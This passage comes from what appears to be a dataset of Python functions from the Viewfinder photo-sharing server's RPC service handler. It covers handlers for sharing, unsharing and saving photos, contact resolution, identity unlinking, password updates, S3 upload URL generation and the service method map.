ident.startswith(('Email:', 'Phone:')):\n # Only allow email addresses and phone numbers to be resolved through this interface. Other\n # identity types (e.g. FacebookGraph) are denser and could be exhaustively enumerated, and\n # there is little use in allowing users to enter them directly.\n ident_tasks.append(gen.Task(Identity.Query, client, ident, None, must_exist=False))\n else:\n ident_tasks.append(util.GenConstant(None))\n\n ident_results = yield ident_tasks\n\n user_tasks = []\n for ident in ident_results:\n if ident is not None and ident.user_id is not None:\n user_tasks.append(gen.Task(User.Query, client, ident.user_id, None, must_exist=False))\n else:\n user_tasks.append(util.GenConstant(None))\n\n user_results = yield user_tasks\n\n results = []\n for request_ident, ident, user in zip(request['identities'], ident_results, user_results):\n result_contact = {'identity': request_ident}\n if user is not None:\n assert ident is not None and user.user_id == ident.user_id\n assert ident.key == request_ident\n result_contact['user_id'] = ident.user_id\n util.SetIfNotNone(result_contact, 'name', user.name)\n util.SetIfNotNone(result_contact, 'given_name', user.given_name)\n util.SetIfNotNone(result_contact, 'family_name', user.family_name)\n result_contact['labels'] = user.MakeLabelList(False)\n results.append(result_contact)\n\n raise gen.Return({'contacts': results})", "metadata": "root.ResolveContacts", "header": "['module', '___EOS___']", "index": 953 }, { "content": "@gen.coroutine\ndef SavePhotos(client, obj_store, user_id, device_id, request):\n \"\"\"Saves photos from existing episodes to new episodes in the current user's default\n viewpoint. This is used to implement the \"save photos to library\" functionality.\n \"\"\"\n request['user_id'] = user_id\n\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n vp_ids = request.get('viewpoint_ids', [])\n ep_dicts = request.get('episodes', [])\n num_photos = 0\n for ep_dict in ep_dicts:\n yield Episode.VerifyEpisodeId(client, user_id, device_id, ep_dict['new_episode_id'])\n num_photos += len(ep_dict['photo_ids'])\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'SavePhotosOperation.Execute',\n request)\n\n logging.info('SAVE PHOTOS: user: %d, device: %d, %d viewpoints, %d episodes, %d photos' %\n (user_id, device_id, len(vp_ids), len(ep_dicts), num_photos))\n\n raise gen.Return({})", "metadata": "root.SavePhotos", "header": "['module', '___EOS___']", "index": 996 }, { "content": "@gen.coroutine\ndef ShareExisting(client, obj_store, user_id, device_id, request):\n \"\"\"Shares photos from existing episodes with the followers of an existing viewpoint.\"\"\"\n request['user_id'] = user_id\n\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n num_photos = 0\n for ep_dict in request['episodes']:\n yield Episode.VerifyEpisodeId(client, user_id, device_id, ep_dict['new_episode_id'])\n num_photos += len(ep_dict['photo_ids'])\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'ShareExistingOperation.Execute',\n request)\n\n logging.info('SHARE EXISTING: user: %d, device: %d, viewpoint: %s, %d episodes, %d photos' %\n (user_id, device_id, request['viewpoint_id'], len(request['episodes']), num_photos))\n\n raise gen.Return({})", "metadata": "root.ShareExisting", "header": "['module', '___EOS___']", "index": 1025 }, { "content": "@gen.coroutine\ndef ShareNew(client, obj_store, user_id, device_id, request):\n \"\"\"Shares a list of photos with each of a list of contacts, specified\n by a contact identity key or a viewfinder user id. Creates a new\n viewpoint and episodes, with the contacts as followers.\n \"\"\"\n request['user_id'] = user_id\n\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n vp_dict = request['viewpoint']\n yield Viewpoint.VerifyViewpointId(client, user_id, device_id, vp_dict['viewpoint_id'])\n\n num_photos = 0\n for ep_dict in request['episodes']:\n yield Episode.VerifyEpisodeId(client, user_id, device_id, ep_dict['new_episode_id'])\n num_photos += len(ep_dict['photo_ids'])\n\n # Validate contact identities.\n _ValidateContacts(request['contacts'])\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'ShareNewOperation.Execute',\n request)\n\n logging.info('SHARE NEW: user: %d, device: %d, viewpoint: %s, %d episodes, %d photos' %\n (user_id, device_id, vp_dict['viewpoint_id'], len(request['episodes']),\n num_photos))\n\n raise gen.Return({})", "metadata": "root.ShareNew", "header": "['module', '___EOS___']", "index": 1050 }, { "content": "@gen.coroutine\ndef TerminateAccount(client, obj_store, user_id, device_id, request):\n \"\"\"Terminate the calling user's account. Unlink all identities from the\n user, mute all device alerts, and disable all sharing.\n \"\"\"\n request['user_id'] = user_id\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'User.TerminateAccountOperation',\n request)\n\n logging.info('TERMINATE ACCOUNT: user: %d, device: %d' % (user_id, device_id))\n raise gen.Return({})", "metadata": "root.TerminateAccount", "header": "['module', '___EOS___']", "index": 1085 }, { "content": "@gen.coroutine\ndef UnlinkIdentity(client, obj_store, user_id, device_id, request):\n \"\"\"Unlink an existing identity from the requesting account.\"\"\"\n # Validate identity key.\n Identity.ValidateKey(request['identity'])\n\n unlink_ident = yield gen.Task(Identity.Query, client, request['identity'], None, must_exist=False)\n\n # If the identity is missing, then assume unlink is being re-called, and do a no-op. If the\n # user_id does not match, raise a permission error. Otherwise, if request is for an authorized\n # id, we must query to ensure this won't be last one remaining.\n if unlink_ident is not None:\n if unlink_ident.user_id != user_id:\n raise PermissionError('Identity \"%s\" not linked to this account' % request['identity'])\n\n if unlink_ident.authority is not None:\n query_expr = 'identity.user_id=%d' % user_id\n all_identities = yield gen.Task(Identity.IndexQuery, client, query_expr, ['key', 'authority'])\n\n # Verify there is at least one identity remaining with an authority.\n if not any([one_identity.authority is not None and one_identity.key != unlink_ident.key\n for one_identity in all_identities]):\n raise PermissionError('Removing this identity authorized by %s, would leave you '\n 'with no way to access your account' % unlink_ident.authority)\n\n request['user_id'] = user_id\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'Identity.UnlinkIdentityOperation',\n request)\n\n logging.info('IDENTITY UNLINK: user: %d, device: %d, identity: %s' %\n (user_id, device_id, request['identity']))\n raise gen.Return({})", "metadata": "root.UnlinkIdentity", "header": "['module', '___EOS___']", "index": 1102 }, { "content": "@gen.coroutine\ndef Unshare(client, obj_store, user_id, device_id, request):\n \"\"\"Unshares photos from the episodes in the specified viewpoint, as\n well as from all derived episodes to which the photos were shared.\n \"\"\"\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'UnshareOperation.Execute',\n request)\n\n logging.info('UNSHARE: user: %d, device: %d, viewpoint: %s, %d episodes, %d photos' %\n (user_id, device_id, request['viewpoint_id'], len(request['episodes']),\n sum([len(ep_dict['photo_ids']) for ep_dict in request['episodes']])))\n raise gen.Return({})", "metadata": "root.Unshare", "header": "['module', '___EOS___']", "index": 1140 }, { "content": "@gen.coroutine\ndef UpdateDevice(client, obj_store, user_id, device_id, request):\n \"\"\"Updates the device metadata. Sets a new secure client access cookie.\n \"\"\"\n device_dict = request['device_dict']\n if device_dict.has_key('device_id') and device_dict['device_id'] != device_id:\n raise web.HTTPError(400, 'bad auth cookie; device id mismatch %d != %d' %\n (device_dict['device_id'], device_id))\n\n request['user_id'] = user_id\n request['device_id'] = device_id\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'Device.UpdateOperation',\n request)\n\n logging.info('UPDATE DEVICE: user: %d, device: %d' % (user_id, device_id))\n raise gen.Return({})", "metadata": "root.UpdateDevice", "header": "['module', '___EOS___']", "index": 1160 }, { "content": "@gen.coroutine\ndef UpdateEpisode(client, obj_store, user_id, device_id, request):\n \"\"\"Updates episode metadata.\"\"\"\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n headers = request.pop('headers')\n activity = request.pop('activity')\n\n request = {'headers': headers,\n 'user_id': user_id,\n 'activity': activity,\n 'episode': request}\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'UpdateEpisodeOperation.Execute',\n request)\n\n logging.info('UPDATE EPISODE: user: %d, device: %d, episode: %s' %\n (user_id, device_id, request['episode']['episode_id']))\n\n raise gen.Return({})", "metadata": "root.UpdateEpisode", "header": "['module', '___EOS___']", "index": 1182 }, { "content": "@gen.coroutine\ndef UpdateFollower(client, obj_store, user_id, device_id, request):\n \"\"\"Updates follower metadata.\"\"\"\n request['user_id'] = user_id\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'UpdateFollowerOperation.Execute',\n request)\n\n logging.info('UPDATE FOLLOWER: user: %d, device: %d, viewpoint: %s' %\n (user_id, device_id, request['follower']['viewpoint_id']))\n raise gen.Return({})", "metadata": "root.UpdateFollower", "header": "['module', '___EOS___']", "index": 1208 }, { "content": "@gen.coroutine\ndef UpdateFriend(client, obj_store, user_id, device_id, request):\n \"\"\"Updates friend metadata.\"\"\"\n request['user_id'] = user_id\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'Friend.UpdateOperation',\n request)\n\n logging.info('UPDATE FRIEND: user: %d, device: %d, friend: %s' %\n (user_id, device_id, request['friend']['user_id']))\n raise gen.Return({})", "metadata": "root.UpdateFriend", "header": "['module', '___EOS___']", "index": 1225 }, { "content": "@gen.coroutine\ndef UpdatePhoto(client, obj_store, user_id, device_id, request):\n \"\"\"Updates photo metadata.\"\"\"\n request['user_id'] = user_id\n\n # If activity header is required, then expect it to have device_id from cookie.\n if request['headers']['original_version'] >= Message.ADD_OP_HEADER_VERSION:\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n else:\n yield Activity.VerifyActivityId(client, user_id, 0, request['activity']['activity_id'])\n\n request = {'headers': request.pop('headers'),\n 'act_dict': request.pop('activity'),\n 'ph_dict': request}\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'Photo.UpdateOperation',\n request)\n\n logging.info('UPDATE PHOTO: user: %d, device: %d, photo: %s' %\n (user_id, device_id, request['ph_dict']['photo_id']))\n raise gen.Return({})", "metadata": "root.UpdatePhoto", "header": "['module', '___EOS___']", "index": 1242 }, { "content": "@gen.coroutine\ndef UpdateUser(client, obj_store, user_id, device_id, request):\n \"\"\"Updates user profile and settings metadata.\"\"\"\n password = request.pop('password', None)\n if password is not None:\n context = base.ViewfinderContext.current()\n\n user = context.user\n old_password = request.pop('old_password', None)\n\n # Recently confirmed cookies can always set the password -- this is how we do password resets.\n if not context.IsConfirmedUser():\n # Cookie is not confirmed, so raise an error unless one of the following is true:\n # 1. The old_password field is set and matches the user's current password.\n # 2. The user currently has no password. \n if old_password is None and user.pwd_hash is not None:\n raise PermissionError(UPDATE_PWD_NOT_CONFIRMED)\n\n if user.pwd_hash is not None:\n yield password_util.ValidateUserPassword(client, user, old_password)\n\n # Replace password with generated hash and salt.\n pwd_hash, salt = password_util.GeneratePasswordHash(password)\n request['pwd_hash'] = pwd_hash\n request['salt'] = salt\n\n request = {'headers': request.pop('headers'),\n 'user_dict': request,\n 'settings_dict': request.pop('account_settings', None)}\n request['user_dict']['user_id'] = user_id\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'User.UpdateOperation',\n request)\n\n logging.info('UPDATE USER: user: %d, device: %d' % (user_id, device_id))\n raise gen.Return({})", "metadata": "root.UpdateUser", "header": "['module', '___EOS___']", "index": 1269 }, { "content": "@gen.coroutine\ndef UpdateUserPhoto(client, obj_store, user_id, device_id, request):\n op_request = {'headers': request.pop('headers'),\n 'up_dict': request}\n op_request['up_dict']['user_id'] = user_id\n yield gen.Task(Operation.CreateAndExecute, client, user_id, device_id, 'UserPhoto.UpdateOperation', op_request)\n logging.info('UPDATE USER PHOTO: user: %d, device:%d, photo:%s' %\n (user_id, device_id, op_request['up_dict']['photo_id']))\n raise gen.Return({})", "metadata": "root.UpdateUserPhoto", "header": "['module', '___EOS___']", "index": 1311 }, { "content": "@gen.coroutine\ndef UpdateViewpoint(client, obj_store, user_id, device_id, request):\n \"\"\"Updates viewpoint metadata.\"\"\"\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n headers = request.pop('headers')\n activity = request.pop('activity')\n viewpoint_id = request['viewpoint_id']\n\n # We need to preserve backwards-compatibility with old clients that use update_viewpoint in\n # order to make changes to follower attributes. \n follower_columns = Follower._table.GetColumnNames()\n viewpoint_columns = Viewpoint._table.GetColumnNames()\n if all(attr in follower_columns for attr in request.keys()):\n request = {'headers': headers,\n 'user_id': user_id,\n 'follower': request}\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'UpdateFollowerOperation.Execute',\n request)\n elif all(attr in viewpoint_columns for attr in request.keys()):\n request = {'headers': headers,\n 'user_id': user_id,\n 'activity': activity,\n 'viewpoint': request}\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'UpdateViewpointOperation.Execute',\n request)\n else:\n raise web.HTTPError(400, 'Viewpoint and follower attributes cannot be updated together ' +\n 'in the same call to update_viewpoint.')\n\n logging.info('UPDATE VIEWPOINT: user: %d, device: %d, viewpoint: %s' %\n (user_id, device_id, viewpoint_id))\n raise gen.Return({})", "metadata": "root.UpdateViewpoint", "header": "['module', '___EOS___']", "index": 1322 }, { "content": "@gen.coroutine\ndef UploadContacts(client, obj_store, user_id, device_id, request):\n \"\"\"Creates/updates contacts metadata.\"\"\"\n request['user_id'] = user_id\n contact_count = len(request['contacts'])\n\n # Pre-process each contact and generate contact_id list to return as result.\n result_contact_ids = []\n for contact in request['contacts']:\n canon_identities = set()\n identities_properties = []\n for contact_identity in contact['identities']:\n identity_key = contact_identity['identity']\n description = contact_identity.get('description', None)\n\n if identity_key != Identity.Canonicalize(identity_key):\n raise InvalidRequestError(IDENTITY_NOT_CANONICAL, identity_key=identity_key)\n\n canon_identities.add(identity_key)\n\n # Build identities_properties in the form that's expected for creating a contact.\n identities_properties.append((identity_key, description))\n\n # Set 'identities' and 'identities_properties' as is expected for creating the contact.\n contact['identities'] = list(canon_identities)\n contact['identities_properties'] = identities_properties\n\n # Now, calculated the contact_id.\n contact['contact_id'] = Contact.CalculateContactId(contact)\n\n # Add contact_id to result list.\n result_contact_ids.append(contact['contact_id'])\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'UploadContactsOperation.Execute',\n request)\n\n logging.info('UPLOAD CONTACTS: user: %d, device: %d, contact_count: %d' % (user_id, device_id, contact_count))\n raise gen.Return({'contact_ids': result_contact_ids})", "metadata": "root.UploadContacts", "header": "['module', '___EOS___']", "index": 1367 }, { "content": "@gen.coroutine\ndef UploadEpisode(client, obj_store, user_id, device_id, request):\n \"\"\"Creates metadata for new photos and returns URLs where the client\n should upload the photo images. Creates a new episode to group the\n photos or adds the photos to an existing episode.\n \"\"\"\n def _GenerateUploadUrl(obj_store, ph_dict, suffix, md5_attr):\n \"\"\"Create an S3 URL that is the target of a photo upload. \"suffix\" is\n appended to the end of the photo id in order to distinguish different\n photo sizes. The value of the \"md5_attr\" attribute is converted to a\n base-64 encoded value for the HTTP Content-MD5 header. Using this\n attribute ensures that the user uploads a photo that exactly matches\n the MD5, and also enables detection of any bit corruption on the wire.\n \"\"\"\n md5_hex = ph_dict[md5_attr]\n try:\n # Convert MD5 encoded as a hex string to base-64 string.\n content_md5 = base64.b64encode(md5_hex.decode('hex'))\n except TypeError:\n raise InvalidRequestError('md5 value \"%s\" is invalid; it must be in ascii hex format' % md5_hex)\n\n return obj_store.GenerateUploadUrl('%s%s' % (ph_dict['photo_id'], suffix),\n content_type=ph_dict.get('content_type', 'image/jpeg'),\n content_md5=content_md5)\n\n @gen.coroutine\n def _VerifyAttributeUpdate(photo, suffix, attr_name, new_value):\n \"\"\"Checks whether the specified photo metadata attribute is about\n to be modified. Don't allow the change if the photo image data has\n already been uploaded to S3. This check prevents situations where\n photo MD5 values are updated after the initial upload, which could\n allow a user to overwrite an existing photo in order to bypass the\n 7-day unshare rule. But it still allows cases where a new MD5 was\n generated by the client as part of a rebuild.\n \"\"\"\n existing_value = getattr(photo, attr_name)\n if new_value != existing_value:\n # Existing attribute value does not match, so only allow it to be updated if the image data\n # has not yet been uploaded.\n etag = yield gen.Task(Photo.IsImageUploaded, obj_store, photo.photo_id, suffix)\n if etag is not None:\n raise PermissionError('cannot overwrite existing photo \"%s\" with a new photo' %\n (photo.photo_id + suffix))\n\n @gen.coroutine\n def _VerifyPhoto(ph_dict):\n \"\"\"Verify the photo's id. Override any MD5 values that have changed\n on the client as long as the photo image data hasn't yet been uploaded.\n \"\"\"\n yield Photo.VerifyPhotoId(client, user_id, device_id, ph_dict['photo_id'])\n photo = yield gen.Task(Photo.Query, client, ph_dict['photo_id'], None, must_exist=False)\n\n if photo is not None:\n # Photo must be owned by calling user, or there's a security breach.\n assert photo.user_id == user_id, (photo, user_id)\n\n yield [gen.Task(_VerifyAttributeUpdate, photo, '.t', 'tn_md5', ph_dict['tn_md5']),\n gen.Task(_VerifyAttributeUpdate, photo, '.m', 'med_md5', ph_dict['med_md5']),\n gen.Task(_VerifyAttributeUpdate, photo, '.f', 'full_md5', ph_dict['full_md5']),\n gen.Task(_VerifyAttributeUpdate, photo, '.o', 'orig_md5', ph_dict['orig_md5'])]\n\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n request['user_id'] = user_id\n\n episode_id = request['episode']['episode_id']\n yield Episode.VerifyEpisodeId(client, user_id, device_id, episode_id)\n\n # In parallel, verify each photo id and update any attributes that can be overridden.\n yield [gen.Task(_VerifyPhoto, ph_dict) for ph_dict in request['photos']]\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'UploadEpisodeOperation.Execute',\n request)\n\n logging.info('UPLOAD EPISODE: user: %d, device: %d, episode: %s, %d photos' %\n (user_id, device_id, episode_id, len(request['photos'])))\n\n response = {'episode_id': episode_id,\n 'photos': [{'photo_id': ph_dict['photo_id'],\n 'tn_put_url': _GenerateUploadUrl(obj_store, ph_dict, '.t', 'tn_md5'),\n 'med_put_url': _GenerateUploadUrl(obj_store, ph_dict, '.m', 'med_md5'),\n 'full_put_url': _GenerateUploadUrl(obj_store, ph_dict, '.f', 'full_md5'),\n 'orig_put_url': _GenerateUploadUrl(obj_store, ph_dict, '.o', 'orig_md5')}\n for ph_dict in request['photos']]}\n\n raise gen.Return(response)", "metadata": "root.UploadEpisode", "header": "['module', '___EOS___']", "index": 1411 }, { "content": "def _ValidateContacts(contact_dicts):\n \"\"\"For each contact in \"contact_dicts\" that has an identity attribute, validates the identity\n key format. The \"contact_dicts\" have the FOLLOWER_CONTACTS_METADATA format defined in\n json_schema.py.\n \"\"\"\n for contact in contact_dicts:\n if 'identity' in contact:\n Identity.ValidateKey(contact['identity'])", "metadata": "root._ValidateContacts", "header": "['module', '___EOS___']", "index": 1503 }, { "content": "def _CanViewViewpointContent(viewpoint, follower):\n \"\"\"Returns true if the given follower is allowed to view the viewpoint's content:\n 1. Follower must exist\n 2. Viewpoint must not be removed by the follower\n 3. Cookie must allow access to the viewpoint (prospective user invitations have access to\n a single viewpoint's content and to any system viewpoints)\n \"\"\"\n if viewpoint is None or follower is None or not follower.CanViewContent():\n return False\n\n if viewpoint.IsSystem() or base.ViewfinderContext.current().CanViewViewpoint(viewpoint.viewpoint_id):\n return True\n\n return False", "metadata": "root._CanViewViewpointContent", "header": "['module', '___EOS___']", "index": 1513 }, { "content": "def _AddPhotoUrls(obj_store, ph_dict):\n \"\"\"Adds photo urls to the photo dict for each photo size: original, full, medium, and\n thumbnail. The photo dict should already have a \"photo_id\" property.\n \"\"\"\n ph_dict['tn_get_url'] = photo_store.GeneratePhotoUrl(obj_store, ph_dict['photo_id'], '.t')\n ph_dict['med_get_url'] = photo_store.GeneratePhotoUrl(obj_store, ph_dict['photo_id'], '.m')\n ph_dict['full_get_url'] = photo_store.GeneratePhotoUrl(obj_store, ph_dict['photo_id'], '.f')\n ph_dict['orig_get_url'] = photo_store.GeneratePhotoUrl(obj_store, ph_dict['photo_id'], '.o')", "metadata": "root._AddPhotoUrls", "header": "['module', '___EOS___']", "index": 1530 }, { "content": "def _MakeViewpointMetadataDict(viewpoint, follower, obj_store):\n \"\"\"Returns a viewpoint metadata dictionary appropriate for a service query response.\n The response dictionary contains valid photo urls for the viewpoints cover photo.\n \"\"\"\n metadata_dict = viewpoint.MakeMetadataDict(follower)\n if 'cover_photo' in metadata_dict:\n _AddPhotoUrls(obj_store, metadata_dict['cover_photo'])\n\n return metadata_dict", "metadata": "root._MakeViewpointMetadataDict", "header": "['module', '___EOS___']", "index": 1540 }, { "content": "class ServiceHandler(base.BaseHandler):\n \"\"\"The RPC multiplexer for client request/responses. The POST\n request body contains the JSON-encoded RPC input, and the HTTP\n response body contains the JSON-encoded RPC output.\n \"\"\"\n class Method(object):\n \"\"\"An entry in the service map. When a service request is received,\n it is validated according to the \"request\" schema. If the message\n format has changed, it is migrated according to the \"request_migrators\".\n The request is dispatched to the \"handler\" function. The response is\n validated according to the \"response\" schema after format migration\n according to the \"response_migrators\". If \"allow_prospective\" is true,\n then prospective users are allowed access to the method.\n\n WARNING: If \"allow_prospective\" is true, then the method must ensure\n that the prospective user has access only to the viewpoint\n given in the cookie.\n \"\"\"\n def __init__(self, request, response, handler, allow_prospective=False,\n min_supported_version=MIN_SUPPORTED_MESSAGE_VERSION,\n max_supported_version=MAX_SUPPORTED_MESSAGE_VERSION,\n request_migrators=[], response_migrators=[]):\n self.request = request\n self.response = response\n self.handler = handler\n self.allow_prospective = allow_prospective\n self.min_supported_version = max(min_supported_version, MIN_SUPPORTED_MESSAGE_VERSION)\n self.max_supported_version = min(max_supported_version, MAX_SUPPORTED_MESSAGE_VERSION)\n self.request_migrators = sorted(REQUIRED_MIGRATORS + request_migrators)\n self.response_migrators = sorted(REQUIRED_MIGRATORS + response_migrators)\n\n # Map from service name to Method instance.\n SERVICE_MAP = {\n 'add_followers': Method(request=json_schema.ADD_FOLLOWERS_REQUEST,\n response=json_schema.ADD_FOLLOWERS_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=AddFollowers),\n 'allocate_ids': Method(request=json_schema.ALLOCATE_IDS_REQUEST,\n response=json_schema.ALLOCATE_IDS_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=AllocateIds),\n 'build_archive': Method(request=json_schema.BUILD_ARCHIVE_REQUEST,\n response=json_schema.BUILD_ARCHIVE_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=BuildArchive),\n 'get_calendar': Method(request=json_schema.GET_CALENDAR_REQUEST,\n response=json_schema.GET_CALENDAR_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=GetCalendar),\n 'hide_photos': Method(request=json_schema.HIDE_PHOTOS_REQUEST,\n response=json_schema.HIDE_PHOTOS_RESPONSE,\n min_supported_version=Message.RENAME_PHOTO_LABEL,\n handler=HidePhotos),\n 'list_identities': Method(request=json_schema.LIST_IDENTITIES_REQUEST,\n response=json_schema.LIST_IDENTITIES_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=ListIdentities),\n 'merge_accounts': Method(request=json_schema.MERGE_ACCOUNTS_REQUEST,\n response=json_schema.MERGE_ACCOUNTS_RESPONSE,\n handler=MergeAccounts),\n 'new_client_log_url': Method(request=json_schema.NEW_CLIENT_LOG_URL_REQUEST,\n response=json_schema.NEW_CLIENT_LOG_URL_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=NewClientLogUrl),\n 'post_comment': Method(request=json_schema.POST_COMMENT_REQUEST,\n response=json_schema.POST_COMMENT_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=PostComment),\n 'query_contacts': Method(request=json_schema.QUERY_CONTACTS_REQUEST,\n response=json_schema.QUERY_CONTACTS_RESPONSE,\n response_migrators=[SUPPORT_MULTIPLE_IDENTITIES_PER_CONTACT],\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=QueryContacts),\n 'query_episodes': Method(request=json_schema.QUERY_EPISODES_REQUEST,\n response=json_schema.QUERY_EPISODES_RESPONSE,\n response_migrators=[EXTRACT_ASSET_KEYS, RENAME_PHOTO_LABEL],\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=QueryEpisodes,\n allow_prospective=True),\n 'query_followed': Method(request=json_schema.QUERY_FOLLOWED_REQUEST,\n response=json_schema.QUERY_FOLLOWED_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=QueryFollowed,\n allow_prospective=True),\n 'query_notifications': Method(request=json_schema.QUERY_NOTIFICATIONS_REQUEST,\n response=json_schema.QUERY_NOTIFICATIONS_RESPONSE,\n response_migrators=[INLINE_INVALIDATIONS, INLINE_COMMENTS],\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=QueryNotifications),\n 'query_users': Method(request=json_schema.QUERY_USERS_REQUEST,\n response=json_schema.QUERY_USERS_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=QueryUsers,\n allow_prospective=True),\n 'query_viewpoints': Method(request=json_schema.QUERY_VIEWPOINTS_REQUEST,\n response=json_schema.QUERY_VIEWPOINTS_RESPONSE,\n response_migrators=[SUPPORT_REMOVED_FOLLOWERS],\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=QueryViewpoints,\n allow_prospective=True),\n 'record_subscription': Method(request=json_schema.RECORD_SUBSCRIPTION_REQUEST,\n response=json_schema.RECORD_SUBSCRIPTION_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=RecordSubscription),\n 'remove_contacts': Method(request=json_schema.REMOVE_CONTACTS_REQUEST,\n response=json_schema.REMOVE_CONTACTS_RESPONSE,\n min_supported_version=Message.SUPPORT_MULTIPLE_IDENTITIES_PER_CONTACT,\n handler=RemoveContacts),\n 'remove_followers': Method(request=json_schema.REMOVE_FOLLOWERS_REQUEST,\n response=json_schema.REMOVE_FOLLOWERS_RESPONSE,\n handler=RemoveFollowers),\n 'remove_photos': Method(request=json_schema.REMOVE_PHOTOS_REQUEST,\n response=json_schema.REMOVE_PHOTOS_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=RemovePhotos),\n 'remove_viewpoint': Method(request=json_schema.REMOVE_VIEWPOINT_REQUEST,\n response=json_schema.REMOVE_VIEWPOINT_RESPONSE,\n min_supported_version=Message.INLINE_COMMENTS,\n handler=RemoveViewpoint),\n 'resolve_contacts': Method(request=json_schema.RESOLVE_CONTACTS_REQUEST,\n response=json_schema.RESOLVE_CONTACTS_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=ResolveContacts),\n 'save_photos': Method(request=json_schema.SAVE_PHOTOS_REQUEST,\n response=json_schema.SAVE_PHOTOS_RESPONSE,\n request_migrators=[SUPPRESS_COPY_TIMESTAMP],\n handler=SavePhotos),\n 'share_existing': Method(request=json_schema.SHARE_EXISTING_REQUEST,\n response=json_schema.SHARE_EXISTING_RESPONSE,\n request_migrators=[EXPLICIT_SHARE_ORDER, SUPPRESS_COPY_TIMESTAMP],\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=ShareExisting),\n 'share_new': Method(request=json_schema.SHARE_NEW_REQUEST,\n response=json_schema.SHARE_NEW_RESPONSE,\n request_migrators=[EXPLICIT_SHARE_ORDER, SUPPRESS_BLANK_COVER_PHOTO, SUPPRESS_COPY_TIMESTAMP],\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=ShareNew),\n 'terminate_account': Method(request=json_schema.TERMINATE_ACCOUNT_REQUEST,\n response=json_schema.TERMINATE_ACCOUNT_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=TerminateAccount),\n 'unlink_identity': Method(request=json_schema.UNLINK_IDENTITY_REQUEST,\n response=json_schema.UNLINK_IDENTITY_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=UnlinkIdentity),\n 'unshare': Method(request=json_schema.UNSHARE_REQUEST,\n response=json_schema.UNSHARE_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=Unshare),\n 'update_device': Method(request=json_schema.UPDATE_DEVICE_REQUEST,\n response=json_schema.UPDATE_DEVICE_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=UpdateDevice),\n 'update_episode': Method(request=json_schema.UPDATE_EPISODE_REQUEST,\n response=json_schema.UPDATE_EPISODE_RESPONSE,\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=UpdateEpisode),\n 'update_follower': Method(request=json_schema.UPDATE_FOLLOWER_REQUEST,\n response=json_schema.UPDATE_FOLLOWER_RESPONSE,\n handler=UpdateFollower),\n 'update_friend': Method(request=json_schema.UPDATE_FRIEND_REQUEST,\n response=json_schema.UPDATE_FRIEND_RESPONSE,\n handler=UpdateFriend),\n 'update_photo': Method(request=json_schema.UPDATE_PHOTO_REQUEST,\n response=json_schema.UPDATE_PHOTO_RESPONSE,\n request_migrators=[EXTRACT_ASSET_KEYS],\n min_supported_version=Message.EXTRACT_MD5_HASHES,\n handler=UpdatePhoto),\n 'update_user': Method(request=json_schema.UPDATE_USER_REQUEST,\n response=json_schema.UPDATE_USER_RESPONSE,\n request_migrators=[SPLIT_NAMES],\n handler=UpdateUser),\n 'update_user_photo': Method(request=json_schema.UPDATE_USER_PHOTO_REQUEST,\n response=json_schema.UPDATE_USER_PHOTO_RESPONSE,\n min_supported_version=Message.EXTRACT_ASSET_KEYS,\n handler=UpdateUserPhoto),\n 'update_viewpoint': 